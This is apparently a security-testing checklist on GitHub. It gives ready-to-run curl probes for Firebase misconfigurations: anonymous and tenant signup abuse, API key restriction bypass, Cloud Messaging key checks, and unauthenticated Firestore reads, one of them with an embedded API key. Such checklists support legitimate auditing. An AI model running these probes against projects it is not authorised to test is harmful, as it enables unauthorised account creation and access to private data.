Skip to content

firebase-test-cases.md

Latest commit

 

History

History
86 lines (57 loc) · 1.9 KB

firebase-test-cases.md

File metadata and controls

86 lines (57 loc) · 1.9 KB
Raw

Firebase Test Cases

Signup Misconfigurations

Test Firebase Identity Toolkit

{% code overflow="wrap" %}

curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=AIzaSyCpGNhMyM9-xMnITdD0uGSQOq2GbSrG8M0" \
  -H "Content-Type: application/json" \
  -d '{"email":"test@target.com","password":"test","returnSecureToken":true}'

{% endcode %}

Test anonymous signup

{% code overflow="wrap" %}

curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaSyCpGNhMyM9-xMnITdD0uGSQOq2GbSrG8M0" \
  -H "Content-Type: application/json" \
  -d '{}'

{% endcode %}

Firebase Cloud Messaging

{% code overflow="wrap" %}

curl -s -X POST --header "Authorization: key=AI..." --header "Content-Type:application/json" 'https://fcm.googleapis.com/fcm/send' -d '{"registration_ids":["1"]}'

{% endcode %}

Test API Key Restrictions (Referrer Bypass)

{% code overflow="wrap" %}

curl -s -X POST -H "Content-Type: application/json" \
  -d '{"returnSecureToken":true}' \
  "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY"

{% endcode %}

Test Realtime Database Rules (Unauthenticated Read)

{% code overflow="wrap" %}

curl -s "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents?key=$API_KEY"

{% endcode %}

Test Multi-Tenant Identity Abuse

{% code overflow="wrap" %}

curl -s -X POST -H "Content-Type: application/json" \
  -d '{"tenantId":"'$TENANT_ID'","returnSecureToken":true}' \
  "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY"

{% endcode %}